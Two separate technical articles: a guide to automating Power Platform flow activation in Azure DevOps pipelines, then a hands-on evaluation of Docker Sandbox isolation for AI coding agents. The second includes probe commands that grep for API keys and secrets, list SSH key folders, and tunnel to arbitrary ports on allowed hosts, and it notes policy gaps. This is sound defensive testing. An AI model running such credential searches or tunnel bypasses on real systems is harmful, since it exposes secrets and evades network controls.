You've spent hours — maybe days — building and testing a Dynamics 365 Power Platform solution. Your Azure DevOps pipeline runs clean. The managed solution imports successfully into the target environment. All green. Then the business calls. Nothing is working. The automations aren't firing. You log into Power Automate in the target environment and find the same scene every time: every single cloud flow is turned off. Not broken. Not errored. Just off. And every connection reference is sitting there unresolved, pointing at nothing, waiting for someone to manually wire it up. If your solution has 5 flows, that's annoying. If your solution has 50 or 100 flows, that's a half-day of manual work — clicking into each flow, assigning the connection, saving, turning it on, and moving to the next one. In a team doing frequent releases across multiple environments (Test, UAT, Production), this compounds quickly. It turns what should be a 10-minute deployment into an hours-long chore, introduces human error, and makes your pipeline feel like it only does half the job. This is one of the most common pain points in Power Platform DevOps, and it's almost never solved cleanly out of the box. This article explains exactly why it happens and how to fix it so that flows are on, connections are wired, and the environment is fully operational the moment the pipeline finishes. Why This Happens Understanding the root cause is important because there are actually three separate things that go wrong, and you need to address all three. 1. Flows Are Exported in Whatever State They Were In When a Power Platform solution is exported from a source environment, every cloud flow is embedded in the solution package in its current state. If a flow was turned off in the source environment at the time of export — even briefly, for testing or debugging — it ships in that state. When the managed solution is imported into the target environment, the flow arrives and stays off. There is no automatic activation step built into the standard import process. 2. Connection References and Actual Connections Are Different Things This is the conceptual point that trips up most teams new to Power Platform ALM. A connection is the actual authenticated link to a service — a specific Dataverse instance, an Outlook mailbox, a SharePoint site. Connections are environment-specific, created manually or via admin tools, and they live outside any solution. They should never be part of a solution package. A connection reference is a pointer. It's a solution component that says "this flow uses a connection of type X." The connection reference lives inside the solution, travels with it across environments, and is what the flow binds to at runtime. The connection reference itself has no credentials — it just points to whichever actual connection in the environment is assigned to it. The correct setup is: In the source environment (DEV): The actual connections exist and are assigned to the connection references. The solution contains only the connection references, not the connections themselves. In the target environment (Test, UAT, Production): The actual connections are pre-created by an administrator and given appropriate access. The service principal used by the pipeline to deploy the solution must have read/write access to these connections. When the solution is imported, the deployment settings file maps each connection reference in the solution to the correct pre-existing connection in that environment. If this mapping is not done correctly, flows that depend on unresolved connection references will remain in a draft state after import, regardless of any other settings. 3. The Standard Import Task Does Not Activate Flows Power Platform Build Tools for Azure DevOps includes an ActivatePlugins flag on the import task. Despite what the name implies, this activates Dataverse plugins and custom workflow activities only — it has no effect on Power Automate cloud flows. There is no built-in flag on the standard import task that activates cloud flows. This means that even a perfectly configured import, with all connection references resolved and all tokens substituted, will still leave flows in a deactivated state unless you add an explicit activation step. Prerequisites: What Must Be in Place Before the Pipeline Runs Before the pipeline can solve this problem end-to-end, two things must be true in every target environment. First, the actual connections must already exist. For every service your flows connect to — Dataverse, Outlook, SharePoint, Teams, or any other connector — an administrator must have already created a connection in the target environment. These connections are not part of the solution and should never be included in the solution export. They are environmental infrastructure, created once and maintained independently of deployments. Second, the service principal must have access. The Azure Active Directory app registration used as the service principal for the pipeline (the account that authenticates the import) must be granted access to read and write in the target environment. This includes having sufficient Dataverse security roles and, where applicable, being designated as an owner or co-owner of the connections so that the deployment settings file can map connection references to those connections during import. Once these are in place, the pipeline can take over the rest automatically. The Pipeline Approach The pipeline is split into two phases: a build phase that runs against the source environment and packages the solution, and a release phase that deploys the packaged solution to each target environment. Build Phase The build phase exports the managed solution from the source environment and generates a DeploymentSettings.json file. This file is the key to automating connection reference mapping. It is generated by the PAC CLI from the solution ZIP and contains a structured list of every connection reference and environment variable in the solution. Out of the box, the generated file has empty ConnectionId fields. The build pipeline post-processes this file by replacing those empty fields with placeholder tokens in the format @@token_name@@. For example, a connection reference with the logical name shared_commondataserviceforapps becomes @@shared_commondataserviceforapps@@ in the deployment settings file. The file is then published as part of the build artifact. The critical point is that connection reference logical names often include a random trailing suffix added by the platform (e.g., shared_commondataserviceforapps_8ca1f). The build script normalizes these by stripping the suffix, so the token is deterministic and consistent across builds. Release Phase The release pipeline picks up the build artifact for each environment stage and runs the following sequence: Step 1: Replace Tokens A token replacement task reads DeploymentSettings.json and substitutes each @@token@@ with the corresponding pipeline variable for that stage. The pipeline variables for each stage hold the actual connection IDs of the pre-existing connections in that environment. For example, the Test stage has a variable shared_commondataserviceforapps with the value of the Dataverse connection ID in the Test environment. After this step, the deployment settings file is fully resolved with no remaining placeholders. Step 2: Import Solution The Power Platform Import Solution task imports the managed solution ZIP using the resolved DeploymentSettings.json. This wires up every connection reference to its corresponding connection in the environment automatically, with no manual intervention. Step 3: Activate Flows This is the step that closes the gap. A PowerShell task runs after the import and queries the Dataverse API for all cloud flows in the solution that are not currently active. It then activates each one programmatically. The Activation Script This PowerShell script uses the Dataverse Web API, authenticated with the same service principal credentials used by the rest of the pipeline. It queries specifically for Modern Flow entities (category eq 5) in the target solution and activates any that are in a stopped or draft state. PowerShell # Activate all Power Automate cloud flows in the solution post-import $tenantId = "$(TenantId)" $clientId = "$(CRMClientId)" $clientSecret = "$(CRMClientSecret)" $environmentUrl = "$(CRMEnvironmentUrl)" $solutionName = "$(CRMSolutionName)" # Obtain an OAuth token for the Dataverse API $tokenUrl = "" $tokenBody = @{ grant_type = "client_credentials" client_id = $clientId client_secret = $clientSecret resource = $environmentUrl } $tokenResponse = Invoke-RestMethod -Method Post -Uri $tokenUrl -Body $tokenBody $token = $tokenResponse.access_token $headers = @{ "Authorization" = "Bearer $token" "OData-MaxVersion" = "4.0" "OData-Version" = "4.0" "Content-Type" = "application/json" } $apiBase = "$environmentUrl/api/data/v9.2" # Query for cloud flows (category = 5) in this solution that are not Active (statecode != 1) $queryUrl = "$apiBase/workflows?`$filter=category eq 5 and statecode ne 1" + " and _solutionid_value eq (select solutionid from solutions where uniquename eq '$solutionName')" + "&`$select=workflowid,name,statecode,statuscode" $flows = (Invoke-RestMethod -Uri $queryUrl -Headers $headers).value if ($flows.Count -eq 0) { Write-Host "All flows are already active. Nothing to do." } else { Write-Host "Found $($flows.Count) flow(s) to activate." foreach ($flow in $flows) { $patchUrl = "$apiBase/workflows($($flow.workflowid))" $payload = @{ statecode = 1; statuscode = 2 } | ConvertTo-Json Invoke-RestMethod -Method Patch -Uri $patchUrl -Headers $headers -Body $payload Write-Host "Activated: $($flow.name)" } Write-Host "Done. $($flows.Count) flow(s) activated successfully." } Note on category eq 5: Power Platform stores multiple automation types in the same workflow entity. Category 0 is classic workflows, category 4 is business process flows, and category 5 is Modern Flow (Power Automate cloud flows). The filter ensures only cloud flows are touched. Guarding Against Unresolved Connections A common failure mode is a new connection reference being added to the solution in DEV, the build generating a new @@token@@ for it, but the corresponding pipeline variable not being added to the release stage yet. The import will succeed, but the flow that depends on that connection will remain inactive — and the activation script will fail to activate it because the connection reference is still unresolved. To catch this early, add a validation step before the import that checks for any remaining @@token@@ placeholders in the deployment settings file and fails the pipeline immediately if any are found: PowerShell $settingsPath = "$(System.DefaultWorkingDirectory)/$(Build.DefinitionName)/$(Build.BuildNumber)/DeploymentSettings.json" $content = Get-Content $settingsPath -Raw $unresolved = [regex]::Matches($content, '@@[^@]+@@') | Select-Object -ExpandProperty Value if ($unresolved.Count -gt 0) { Write-Error "Unresolved connection tokens found in DeploymentSettings.json:`n$($unresolved -join "`n")" Write-Error "Add the missing pipeline variables for this stage and re-run." exit 1 } Write-Host "All connection tokens resolved. Proceeding with import." Failing fast here is far better than a silent partial deployment where some flows activate, and others don't. The Result Once this is in place, the deployment experience changes completely. A pipeline run that previously required a human to log into each target environment, open Power Automate, navigate to each flow, assign connections, and manually toggle flows on — a process that scales linearly with the number of flows — becomes fully automated. For a solution with 100 cloud flows deploying across three environments, that might be 300 individual manual actions eliminated per release cycle. The environment is fully operational the moment the pipeline is completed. No follow-up tickets. No forgotten flows. No production incidents because someone missed one. The key insight is that the platform gives you all the pieces — connection references for portability, deployment settings for environment-specific mapping, and the Dataverse API for programmatic activation — but it does not wire them together for you automatically. Once you do, your Power Platform deployments become as reliable and hands-off as any other enterprise application deployment.

I ran an AI coding agent against a broken Kubernetes deployment for five minutes. The agent called Anthropic's API dozens of times — reasoning about manifests, running kubectl commands, redeploying workloads. It made fully authenticated requests throughout the entire session. The API key was never in its environment. Shell env | grep -iE "anthropic|api_key|secret|token|password" # (empty) That is Docker Sandbox's credential isolation model in action. This article is about what that actually means — and what else the isolation holds, breaks, and surprises you with when you probe it properly. Key Takeaways Docker Sandbox uses a host-side proxy to inject API credentials without the agent ever seeing them — the agent makes authenticated calls without possessing the keySeven live isolation probes confirmed the boundary held throughout real AI agent activity, not just at restNetwork policy is hostname-scoped HTTP filtering — not a full network control plane — with three specific behaviors the documentation doesn't make clearDevOps agents can run docker build and kubectl inside the sandbox without any path to the host Docker daemon or cluster credentialsThe --branch parallel agent mode is Git-level isolation, not VM-level — important distinction for threat models requiring separate credentials per agent The Setup I manage eight AKS clusters for Fortune 500 clients. My laptop has Azure service principals, SSH keys, kubeconfig files with a dozen cluster contexts, and twenty-plus repos — some with .env files containing real API keys. Running an AI agent from this machine without guardrails means the agent inherits all of it. Docker Sandbox changes that. Each sandbox is a microVM — its own Linux kernel, its own Docker daemon, its own network stack. You mount one project directory. The agent sees one project directory. Everything else on the machine does not exist inside the sandbox. I spent two weeks testing this claim. Here is what I found. Test environment: What Detail sbx version v0.31.1 · commit e658be1 Host macOS Apple Silicon Network endpoints probed 13 Isolation probes 7 targeted commands Kubernetes scenario Real agent task, two bugs, timed All findings backed by real terminal output. Full repo: github.com/opscart/docker-sandbox-devops. How the Credential Isolation Actually Works The sandbox environment has no API keys. But the agent made authenticated API calls. Here is the mechanism: Shell env | grep proxy # https_proxy=http://gateway.docker.internal:3128 # http_proxy=http://gateway.docker.internal:3128 # JAVA_TOOL_OPTIONS=-Dhttp.proxyHost=gateway.docker.internal -Dhttp.proxyPort=3128 ... Every outbound request — HTTP, HTTPS, even Java tools — routes through a proxy at gateway.docker.internal:3128. That proxy runs on the Mac host, completely outside the microVM boundary. When the agent sends a POST to api.anthropic.com, there is no Authorization header — the agent does not have the key. The request reaches the host-side proxy. The proxy checks the allowlist — api.anthropic.com is in the default AI services group under the Balanced policy. Authentication is performed by the host-side proxy using credentials stored outside the sandbox boundary. The authenticated request is forwarded to Anthropic. The agent receives the response. It has no idea what key was used, where it came from, or how to find it again. Think of it like an OAuth gateway. The proxy holds the credential and vouches for the agent's requests. The agent gets access without ever possessing the key. You cannot steal what you never had. This is architecturally different from the standard setup where ANTHROPIC_API_KEY sits in the shell environment — one echo $ANTHROPIC_API_KEY away from being exfiltrated. What the Four Isolation Layers Actually Do Docker Sandbox stacks four layers: Hypervisor isolation. Separate Linux kernel per sandbox. Host processes invisible. Other sandboxes invisible. A compromised sandbox cannot escalate to the host kernel. This is the fundamental difference from a Docker container — a container shares the host kernel. The microVM does not. Network isolation. All outbound HTTP/HTTPS routes through the host-side proxy. Raw TCP, UDP, and ICMP are blocked at the network layer. Three policy tiers: allow-all, balanced (curated dev allowlist), deny-all. Set before starting your first sandbox: Shell sbx policy set-default balanced Docker Engine isolation. Each sandbox runs a private Docker daemon with its own socket. No path to the host Docker daemon. An agent can run docker build and docker run without socket mounting — which is the tradeoff that breaks isolation in plain container-based approaches. Credential isolation. Proxy-based injection as described above. The raw key never enters the microVM. macOS host with sensitive assets and proxy on the left, Docker Sandbox microVM in the center, network policy zones on the right. Seven Isolation Proofs — Run Live After a Real Agent Task The agent exited after completing the debugging task. The sandbox remained alive, and I executed the following commands from the same shell session the agent had used — to show exactly what was accessible throughout the entire run. 1. Filesystem Boundary Shell ls /Users/opscart/ # Source ls /Users/opscart/.ssh/ 2>&1 One directory. The workspace mount. SSH keys, other repos, credential directories — none of them exist inside the sandbox. Parent directories above the workspace are read-only stubs with no siblings. One critical implication: if your workspace is your home directory, your entire home is visible and writable. Always mount a project subdirectory, not your home. 2. No Credentials in Environment Shell env | grep -iE "anthropic|api_key|aws|secret|token|password" # (empty) Confirmed. The agent that just made dozens of API calls had no raw credentials anywhere in its environment. 3. Proxy Confirms the Injection Mechanism Shell env | grep proxy # https_proxy=http://gateway.docker.internal:3128 # no_proxy=localhost,127.0.0.1,::1,[::1],gateway.docker.internal Proxy address visible. Credentials it carries: not visible. The mechanism described above confirmed live inside the running sandbox. 4. Process Namespace Shell ps aux | wc -l # 13 A macOS host runs hundreds of processes. The sandbox shows 13 — all internal. The stack includes dockerd, containerd, socat bridging SSH agent forwarding, and the coding agent. Host processes completely invisible. No way to inspect or interact with anything running on the host. 5. Private Docker Engine Shell docker info | grep -E "Server Version|Operating System|ID" # Server Version: 29.4.3 # Operating System: Ubuntu 25.10 (containerized) # ID: e6934b23-368c-4259-a873-96f879f587e5 Ubuntu 25.10. A unique daemon ID that differs from docker info on the host — confirming the sandbox runs a fully isolated daemon. The agent deployed a full Kubernetes cluster using this daemon. No path to the host Docker socket existed. 6. Host Services Unreachable Shell curl -s --max-time 3 https://localhost:6443 2>&1 || echo "blocked" # curl: (7) Failed to connect to localhost port 6443: Connection refused Port 6443 — my minikube cluster on the Mac host. From inside the sandbox, localhost is the sandbox's own loopback. Host clusters, host SSH, host services — unreachable by default. Eight AKS contexts on this machine. Zero is reachable from inside the sandbox without an explicit policy rule. 7. What the Agent Had vs. What It Didn't During the entire debugging task, the agent had full access to one project directory, kubectl to the sandbox-internal Kubernetes cluster, and full Docker capabilities against the private daemon. It could not reach any other directory, cloud credentials, other kubeconfig contexts, the host Docker daemon, or any cluster not running inside the sandbox. All seven proofs held throughout the session without exception. Three Network Policy Findings That Change How You Think About It Network policy is not a full network control plane. It is hostname-scoped HTTP filtering. Three findings define the actual scope: Finding 1: Blocking returns HTTP 403, not TCP rejection. Plain Text probe "example.com" "https://example.com" # example.com | exit=0 | http=403 Exit code 0. The curl command succeeded. The proxy returned 403 directly. An agent that retries on 403 will retry blocked requests indefinitely. It cannot distinguish a blocked domain from a legitimate server-side error by exit code. For DevOps workflows — an agent hitting a blocked container registry will keep retrying silently rather than failing fast. Finding 2: HTTP CONNECT established a tunnel to port 22 on an allowed host. Plain Text # Port 22 — SSH port curl -s --max-time 5 telnet://github.com:22 # Connected to github.com port 22 # Port 9999 — non-standard port curl -s --max-time 5 telnet://github.com:9999 # Connected to github.com port 9999 github.com is on the Balanced allowlist. HTTP CONNECT established TCP tunnels to github.com on both port 22 and the non-standard port 9999 — both succeeded. Port-based restrictions are not enforced at the proxy layer. The Balanced policy is hostname-scoped only. Any port to an allowed host is reachable via HTTP CONNECT. Finding 3: DNS is not filtered. A common assumption is that all outbound traffic routes through the HTTP proxy — including DNS. Lab results show DNS resolution occurs independently: Plain Text dig example.com +short # 172.66.147.243 A blocked domain resolved. The microVM has an internal stub resolver that forwards DNS independently of the HTTP proxy. An agent can resolve any hostname regardless of the active policy. DNS cannot serve as a secondary enforcement layer. These findings do not break the isolation model. They define its actual boundary. Network policy controls HTTP/HTTPS access by hostname. It does not control DNS, TCP tunnels to allowed hosts on arbitrary ports, or how agents interpret 403 responses. The Agent Scenario: Isolation Under Real Load The real test of isolation is not seven probe commands — it is whether the boundary holds while an agent is actively working, making API calls, running kubectl, deploying containers. I gave an AI agent a broken Kubernetes deployment: a payments-service with memory limits set to 64Mi on a service that needs ~150Mi at peak. The agent received a task file and a set of manifests. No other context. The agent completed the task in under five minutes. It found two bugs — one planted, one discovered independently by reading the manifest and noticing health check probes targeting port 8080 on an nginx container that only serves on port 80. The task said nothing about probes. Result: both pods 1/1 Running, 0 restarts. The seven isolation proofs above were verified immediately after — throughout the entire debugging session, the boundary held without exception. Full article and complete repo at opscart.com/docker-sandbox-devops. What This Means for DevOps Engineers Specifically Most Docker Sandbox articles target software developers running Claude Code on a single codebase. The DevOps case is different and more demanding. A DevOps engineer running an AI agent faces a broader attack surface: multiple cluster contexts, infrastructure credentials, IAM roles, service accounts, kubeconfigs that grant production access. The blast radius of a compromised or manipulated agent is not one repo — it is potentially every system those credentials touch. Docker Sandbox addresses this at the architecture level rather than the prompt level. You are not relying on the agent being well-behaved. You are relying on the microVM boundary, the proxy, and the private Docker daemon. The agent can be fully autonomous inside the sandbox because the guardrail is the environment, not the agent's behavior. The private Docker Engine is particularly significant. DevOps agents need to build and test containers. Every other local isolation approach that allows container operations requires socket mounting — which gives the agent direct access to the host Docker daemon and every image and volume on the host. Docker Sandbox eliminates this tradeoff. What Is Still Rough The image iteration cycle is the primary friction point. Adding a tool requires editing a Dockerfile, rebuilding, pushing to a registry, and recreating the sandbox. For a stable toolchain, this is acceptable. For rapid experimentation, it is not. The --branch parallel agent mode is Git isolation, not VM isolation. Both agents run in one microVM with shared Docker and network. For separate credentials or separate network policies per agent, you need separate workspace directories. The network policy CLI has non-obvious syntax in several places — sbx policy deny does not remove an allow rule, and external cluster access requires two policy rules not one. Neither behavior is documented. The CLI changes between minor versions. v0.31.1 changed login flow, renamed policy tiers, and introduced --clone mode. Pin your version. When Not to Use Docker Sandbox Docker Sandbox is the right tool for a specific set of problems. It is not the right tool when: You need raw UDP or ICMP. Network tracing tools (traceroute, mtr), some mTLS configurations, and anything relying on ICMP will not work — the sandbox proxy only handles HTTP/HTTPS. Your toolchain requires host-device access. USB devices, GPU passthrough beyond basic forwarding, and hardware security keys are not accessible from inside the microVM. You are on a memory-constrained machine. Each sandbox runs a full microVM plus its own Docker daemon. On a machine with 8GB RAM, running multiple sandboxes simultaneously alongside Docker Desktop and a browser will cause pressure. You need production-grade audit logging. Docker Sandbox is Experimental. Audit trails, compliance logging, and enterprise controls are not mature yet. For regulated environments, evaluate accordingly. Your agent needs to coordinate across multiple repositories simultaneously. The one-sandbox-per-workspace model means cross-repo agent work requires careful orchestration. The --clone mode helps but adds git workflow overhead. Conclusion The credential isolation model is the headline: the agent made authenticated API calls throughout the session without the API key ever entering the sandbox. Authentication was performed by the host-side proxy using credentials stored outside the sandbox boundary. The agent could use the credential — it could never see, copy, or exfiltrate it. Seven isolation proofs confirmed the boundary held under real active load. One directory visible. No credentials. No host processes. No host clusters. No host Docker daemon. The network policy findings add important nuance. The --branch mode reality is different from what the documentation implies. Docker Sandbox is Experimental, and the CLI is moving. Use it knowing what it is — and what it is not.

By Shamsher Khan CORE